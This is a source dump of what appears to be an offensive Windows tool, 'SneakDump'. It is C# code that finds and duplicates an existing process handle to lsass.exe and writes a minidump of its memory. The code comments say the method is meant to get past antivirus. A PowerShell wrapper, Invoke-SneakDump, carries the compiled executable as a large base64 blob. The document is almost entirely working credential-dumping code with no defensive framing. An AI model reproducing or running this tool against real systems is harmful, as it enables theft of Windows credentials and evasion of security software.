61 | QueryInformation = 0x00000400,
62 | Synchronize = 0x00100000
63 | }
64 |
65 | private enum FileType : uint
66 | {
67 | FileTypeChar = 0x0002,
68 | FileTypeDisk = 0x0001,
69 | FileTypePipe = 0x0003,
70 | FileTypeRemote = 0x8000,
71 | FileTypeUnknown = 0x0000,
72 | }
73 |
74 | private struct OBJECT_TYPE_INFORMATION
75 | {
76 | UNICODE_STRING Name;
77 | int TotalNumberOfObjects;
78 | int TotalNumberOfHandles;
79 | int TotalPagedPoolUsage;
80 | int TotalNonPagedPoolUsage;
81 | int TotalNamePoolUsage;
82 | int TotalHandleTableUsage;
83 | int HighWaterNumberOfObjects;
84 | int HighWaterNumberOfHandles;
85 | int HighWaterPagedPoolUsage;
86 | int HighWaterNonPagedPoolUsage;
87 | int HighWaterNamePoolUsage;
88 | int HighWaterHandleTableUsage;
89 | int InvalidAttributes;
90 | int ValidAccess;
91 | int SecurityRequired;
92 | bool MaintainHandleCount;
93 | int MaintainTypeList;
94 | int PagedPoolUsage;
95 | int NonPagedPoolUsage;
96 | }
97 |
98 | [DllImport("ntdll.dll")]
99 | private static extern uint NtQuerySystemInformation(int SystemInformationClass, IntPtr SystemInformation, int SystemInformationLength, ref int returnLength);
100 |
101 | [DllImport("kernel32.dll", SetLastError=true)]
102 | private static extern IntPtr OpenProcess(PROCESS_ACCESS_FLAGS dwDesiredAccess, [MarshalAs(UnmanagedType.Bool)] bool bInheritHandle, int dwProcessId);
103 |
104 | [DllImport("kernel32.dll", SetLastError = true)]
105 | [return: MarshalAs(UnmanagedType.Bool)]
106 | private static extern bool DuplicateHandle(IntPtr hSourceProcessHandle, IntPtr hSourceHandle, IntPtr hTargetProcessHandle, out IntPtr lpTargetHandle, PROCESS_ACCESS_FLAGS dwDesiredAccess, [MarshalAs(UnmanagedType.Bool)] bool bInheritHandle, uint dwOptions);
107 |
108 | [DllImport("kernel32.dll")]
109 | private static extern IntPtr GetCurrentProcess();
110 |
111 | [DllImport("ntdll.dll")]
112 | private static extern int NtQueryObject(IntPtr ObjectHandle, int ObjectInformationClass, IntPtr ObjectInformation, int ObjectInformationLength, ref int returnLength);
113 |
114 | [DllImport("kernel32.dll")]
115 | private static extern bool CloseHandle(IntPtr hObject);
116 |
117 | [DllImport("kernel32.dll", SetLastError = true)]
118 | private static extern uint QueryDosDevice(string lpDeviceName, StringBuilder lpTargetPath, int ucchMax);
119 |
120 | [DllImport("kernel32.dll")]
121 | private static extern bool GetHandleInformation(IntPtr hObject, out uint lpdwFlags);
122 |
123 | [DllImport("kernel32.dll")]
124 | private static extern FileType GetFileType(IntPtr hFile);
125 | [DllImport("kernel32.dll", SetLastError=true)]
126 | static extern bool QueryFullProcessImageName([In]IntPtr hProcess, [In]int dwFlags, [Out]StringBuilder lpExeName, ref int lpdwSize);
127 | [DllImport("Dbghelp.dll", SetLastError=true)]
128 | static extern bool MiniDumpWriteDump(IntPtr hProcess, int ProcessId, IntPtr hFile, int DumpType, IntPtr ExceptionParam, IntPtr UserStreamParam, IntPtr CallbackParam);
129 | [DllImport("ntdll.dll", SetLastError = true)]
130 | public static extern int RtlAdjustPrivilege(int Privilege, bool bEnablePrivilege, bool IsThreadPrivilege, out int PreviousValue);
131 |
132 | private const int MAX_PATH = 260;
133 | private const uint STATUS_INFO_LENGTH_MISMATCH = 0xC0000004;
134 | private const int DUPLICATE_SAME_ACCESS = 0x2;
135 | private const uint FILE_SEQUENTIAL_ONLY = 0x00000004;
136 | private const int CNST_SYSTEM_HANDLE_INFORMATION = 0x10;
137 | private const int OBJECT_TYPE_FILE = 0x24;
138 | private const int PROCESS_QUERY_INFORMATION = 0x400;
139 | private const int PROCESS_VM_READ = 0x10;
140 |
141 | public static void DumpLsass(SYSTEM_HANDLE_INFORMATION handleInfo, string FileName)
142 | {
143 | // Code for getting handles was found here https://stackoverflow.com/questions/54872228/c-sharp-how-to-find-all-handles-associated-with-current-process
144 | // idea for getting existing handles to dump lsass found here https://skelsec.medium.com/duping-av-with-handles-537ef985eb03
145 | IntPtr ipHandle = IntPtr.Zero;
146 | IntPtr openProcessHandle = IntPtr.Zero;
147 | IntPtr hObjectName = IntPtr.Zero;
148 | PROCESS_ACCESS_FLAGS flags = PROCESS_ACCESS_FLAGS.DupHandle | PROCESS_ACCESS_FLAGS.VMRead;
149 |
150 | openProcessHandle = OpenProcess(flags, false, (int)handleInfo.ProcessID);
151 |
152 | bool test = DuplicateHandle(openProcessHandle, new IntPtr(handleInfo.Handle), GetCurrentProcess(), out ipHandle, 0, false, DUPLICATE_SAME_ACCESS);
153 |
154 | int pLength = 0;
155 | hObjectName = Marshal.AllocHGlobal(256 * 1024);
156 |
157 | while ((uint)(NtQueryObject(ipHandle, (int)OBJECT_INFORMATION_CLASS.ObjectTypeInformation, hObjectName, pLength, ref pLength)) == STATUS_INFO_LENGTH_MISMATCH)
158 | {
159 | Marshal.FreeHGlobal(hObjectName);
160 | if (pLength == 0)
161 | {
162 | Console.WriteLine("Length returned at zero!");
163 |
164 | }
165 | hObjectName = Marshal.AllocHGlobal(pLength);
166 | }
167 | OBJECT_NAME_INFORMATION objObjectName = Marshal.PtrToStructure(hObjectName);
168 |
169 | if (objObjectName.Name.Buffer != IntPtr.Zero)
170 | {
171 | string strObjectName = Marshal.PtrToStringUni(objObjectName.Name.Buffer);
172 |
173 | if (strObjectName == "Process")
174 | {
175 | int max = 1024;
176 | StringBuilder str = new StringBuilder(max);
177 | QueryFullProcessImageName(ipHandle,0,str,ref max);
178 |
179 | if (str.ToString().Contains("lsass.exe"))
180 | {
181 | Console.WriteLine("[+] Found open handle to lass: "+ipHandle);
182 | FileStream dumpFile = new FileStream(FileName, FileMode.Create);
183 | Console.WriteLine("[+] Attempting to dump lsass with handle...");
184 | bool dumped = MiniDumpWriteDump(ipHandle, handleInfo.ProcessID, dumpFile.SafeFileHandle.DangerousGetHandle(), 2, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero);
185 |
186 | dumpFile.Close();
187 | if (dumped == true)
188 | {
189 | Console.WriteLine("[+] Dumped lsass");
190 | System.Environment.Exit(1);
191 | }
192 |
193 | }
194 | }
195 |
196 | }
197 | }
198 |
199 | public static void Main(string[] args)
200 | {
201 | if (args.Length < 1)
202 | {
203 | Console.WriteLine("USAGE: SneakDump.exe ");
204 | System.Environment.Exit(0);
205 | }
206 | string FileName = args[0];
207 |
208 | int outPriv = 0;
209 |
210 | List aHandles = new List();
211 | int handle_info_size = Marshal.SizeOf(new SYSTEM_HANDLE_INFORMATION()) * 20000;
212 | IntPtr ptrHandleData = IntPtr.Zero;
213 | List lsassHandles = new List();
214 | //try
215 | //{
216 | ptrHandleData = Marshal.AllocHGlobal(handle_info_size);
217 | int nLength = 0;
218 |
219 | while (NtQuerySystemInformation(CNST_SYSTEM_HANDLE_INFORMATION, ptrHandleData, handle_info_size, ref nLength) == STATUS_INFO_LENGTH_MISMATCH)
220 | {
221 | handle_info_size = nLength;
222 | Marshal.FreeHGlobal(ptrHandleData);
223 | ptrHandleData = Marshal.AllocHGlobal(nLength);
224 | }
225 |
226 | long handle_count = Marshal.ReadIntPtr(ptrHandleData).ToInt64();
227 | IntPtr ptrHandleItem = ptrHandleData + Marshal.SizeOf(ptrHandleData);
228 |
229 | for (long lIndex = 0; lIndex < handle_count; lIndex++)
230 | {
231 | SYSTEM_HANDLE_INFORMATION oSystemHandleInfo = Marshal.PtrToStructure(ptrHandleItem);
232 | ptrHandleItem += Marshal.SizeOf(new SYSTEM_HANDLE_INFORMATION());
233 | if (oSystemHandleInfo.ProcessID == 4)
234 | {continue;}
235 |
236 | DumpLsass(oSystemHandleInfo,FileName);
237 | }
238 | }
239 | }
240 | }
--------------------------------------------------------------------------------
/DupDump/Invoke-Dupdump.ps1:
--------------------------------------------------------------------------------
1 | function Invoke-SneakDump
2 | {
3 | [CmdletBinding()]
4 | Param (
5 | [Parameter(Position = 0, Mandatory = $true)]
6 | [ValidateNotNullorEmpty()]
7 | [String]
8 | $Command
9 | )
10 | $base64data = "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T04AT0JKRUNUX1RZUEVfRklMRQBQUk9DRVNTX1FVRVJZX0lORk9STUFUSU9OAFBST0NFU1NfVk1fUkVBRABOdFF1ZXJ5U3lzdGVtSW5mb3JtYXRpb24AT3BlblByb2Nlc3MARHVwbGljYXRlSGFuZGxlAEdldEN1cnJlbnRQcm9jZXNzAE50UXVlcnlPYmplY3QAQ2xvc2VIYW5kbGUAU3lzdGVtLlRleHQAU3RyaW5nQnVpbGRlcgBRdWVyeURvc0RldmljZQBHZXRIYW5kbGVJbmZvcm1hdGlvbgBHZXRGaWxlVHlwZQBRdWVyeUZ1bGxQcm9jZXNzSW1hZ2VOYW1lAE1pbmlEdW1wV3JpdGVEdW1wAFJ0bEFkanVzdFByaXZpbGVnZQBEdW1wTHNhc3MATWFpbgAuY3RvcgBQcm9jZXNzSUQAQ3JlYXRvckJhY2tUcmFja0luZGV4AE9iamVjdFR5cGUASGFuZGxlQXR0cmlidXRlAEhhbmRsZQBPYmplY3RfUG9pbnRlcgBBY2Nlc3NNYXNrAHZhbHVlX18AT2JqZWN0QmFzaWNJbmZvcm1hdGlvbgBPYmplY3ROYW1lSW5mb3JtYXRpb24AT2JqZWN0VHlwZUluZm9ybWF0aW9uAE9iamVjdEFsbFR5cGVzSW5mb3JtYXRpb24AT2JqZWN0SGFuZGxlSW5mb3JtYXRpb24ATmFtZQBMZW5ndGgATWF4aW11bUxlbmd0aABCdWZmZXIAQWxsAFRlcm1pbmF0ZQBDcmVhdGVUaHJlYWQAVk1PcGVyYXRpb24AVk1SZWFkAFZNV3JpdGUARHVwSGFuZGxlAFNldEluZm9ybWF0aW9uAFF1ZXJ5SW5mb3JtYXRpb24AU3luY2hyb25pemUARmlsZVR5cGVDaGFyAEZpbGVUeXBlRGlzawBGaWxlVHlwZVBpcGUARmlsZVR5cGVSZW1vdGUARmlsZVR5cGVVbmtub3duAFRvdGFsTnVtYmVyT2ZPYmplY3RzAFRvdGFsTnVtYmVyT2ZIYW5kbGVzAFRvdGFsUGFnZWRQb29sVXNhZ2UAVG90YWxOb25QYWdlZFBvb2xVc2FnZQBUb3RhbE5hbWVQb29sVXNhZ2UAVG90YWxIYW5kbGVUYWJsZVVzYWdlAEhpZ2hXYXRlck51bWJlck9mT2JqZWN0cwBIaWdoV2F0ZXJOdW1iZXJPZkhhbmRsZXMASGlnaFdhdGVyUGFnZWRQb29sVXNhZ2UASGlnaFdhdGVyTm9uUGFnZWRQb29sVXNhZ2UASGlnaFdhdGVyTmFtZVBvb2xVc2FnZQBIaWdoV2F0ZXJIYW5kbGVUYWJsZVVzYWdlAEludmFsaWRBdHRyaWJ1dGVzAFZhbGlkQWNjZXNzAFNlY3VyaXR5UmVxdWlyZWQATWFpbnRhaW5IYW5kbGVDb3VudABNYWludGFpblR5cGVMaXN0AFBhZ2VkUG9vbFVzYWdlAE5vblBhZ2VkUG9vbFVzYWdlAFN5c3RlbUluZm9ybWF0aW9uQ2xhc3MAU3lzdGVtSW5mb3JtYXRpb24AU3lzdGVtSW5mb3JtYXRpb25MZW5ndGgAcmV0dXJuTGVuZ3RoAGR3RGVzaXJlZEFjY2VzcwBiSW5oZXJpdEhhbmRsZQBTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMATWFyc2hhbEFzQXR0cmlidXRlAFVubWFuYWdlZFR5cGUAZHdQcm9jZXNzSWQAaFNvdXJjZVByb2Nlc3NIYW5kbGUAaFNvdXJjZUhhbmRsZQBoVGFyZ2V0UHJvY2Vzc0hhbmRsZQBscFRhcmdldEhhbmRsZQBPdXRBdHRyaWJ1dGUAZHdPcHRpb25zAE9iamVjdEhhbmRsZQBPYmplY3RJbmZvcm1hdGlvbkNsYXNzAE9iamVjdEluZm9ybWF0aW9uAE9iamVjdEluZm9ybWF0aW9uTGVuZ3RoAGhPYmplY3QAbHBEZXZpY2VOYW1lAGxwVGFyZ2V0UGF0aAB1Y2NoTWF4AGxwZHdGbGFncwBoRmlsZQBoUHJvY2VzcwBJbkF0dHJpYnV0ZQBkd0ZsYWdzAGxwRXhlTmFtZQBscGR3U2l6ZQBQcm9jZXNzSWQARHVtcFR5cGUARXhjZXB0aW9uUGFyYW0AVXNlclN0cmVhbVBhcmFtAENhbGxiYWNrUGFyYW0AUHJpdmlsZWdlAGJFbmFibGVQcml2aWxlZ2UASXNUaHJlYWRQcml2aWxlZ2UAUHJldmlvdXNWYWx1ZQBoYW5kbGVJbmZvAEZpbGVOYW1lAGFyZ3MAU3lzdGVtLlJ1bnRpbWUuQ29tcGlsZXJTZXJ2aWNlcwBDb21waWxhdGlvblJlbGF4YXRpb25zQXR0cmlidXRlAFJ1bnRpbWVDb21wYXRpYmlsaXR5QXR0cmlidXRlAERsbEltcG9ydEF0dHJpYnV0ZQBudGRsbC5kbGwAa2VybmVsMzIuZGxsAERiZ2hlbHAuZGxsAEludFB0cgBaZXJvAE1hcnNoYWwAQWxsb2NIR2xvYmFsAEZyZWVIR2xvYmFsAENvbnNvbGUAV3JpdGVMaW5lAFB0clRvU3RydWN0dXJlAG9wX0luZXF1YWxpdHkAUHRyVG9TdHJpbmdVbmkAU3RyaW5nAG9wX0VxdWFsaXR5AFRvU3RyaW5nAENvbnRhaW5zAENvbmNhdABTeXN0ZW0uSU8ARmlsZVN0cmVhbQBGaWxlTW9kZQBNaWNyb3NvZnQuV2luMzIuU2FmZUhhbmRsZXMAU2FmZUZpbGVIYW5kbGUAZ2V0X1NhZmVGaWxlSGFuZGxlAFNhZmVIYW5kbGUARGFuZ2Vyb3VzR2V0SGFuZGxlAFN0cmVhbQBDbG9zZQBFbnZpcm9ubWVudABFeGl0AFN5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljAExpc3RgMQBTaXplT2YAUmVhZEludFB0cgBUb0ludDY0AG9wX0FkZGl0aW9uAFN0cnVjdExheW91dEF0dHJpYnV0ZQBMYXlvdXRLaW5kAEZsYWdzQXR0cmlidXRlAAAxTABlAG4AZwB0AGgAIAByAGUAdAB1AHIAbgBlAGQAIABhAHQAIAB6AGUAcgBvACEAAA9QAHIAbwBjAGUAcwBzAAATbABzAGEAcwBzAC4AZQB4AGUAAD9bACsAXQAgAEYAbwB1AG4AZAAgAG8AcABlAG4AIABoAGEAbgBkAGwAZQAgAHQAbwAgAGwAYQBzAHMAOgAgAABXWwArAF0AIABBAHQAdABlAG0AcAB0AGkAbgBnACAAdABvACAAZAB1AG0AcAAgAGwAcwBhAHMAcwAgAHcAaQB0AGgAIABoAGEAbgBkAGwAZQAuAC4ALgAAIVsAKwBdACAARAB1AG0AcABlAGQAIABsAHMAYQBzAHMAAFFVAFMAQQBHAEUAOgAgAFMAbgBlAGEAawBEAHUAbQBwAC4AZQB4AGUAIAA8AHAAYQB0AGgAIAB0AG8AIABkAHUAbQBwACAAZgBpAGwAZQA+AAAAHX1YjJhcRUGj9wpDbxBO6wAIt3pcVhk0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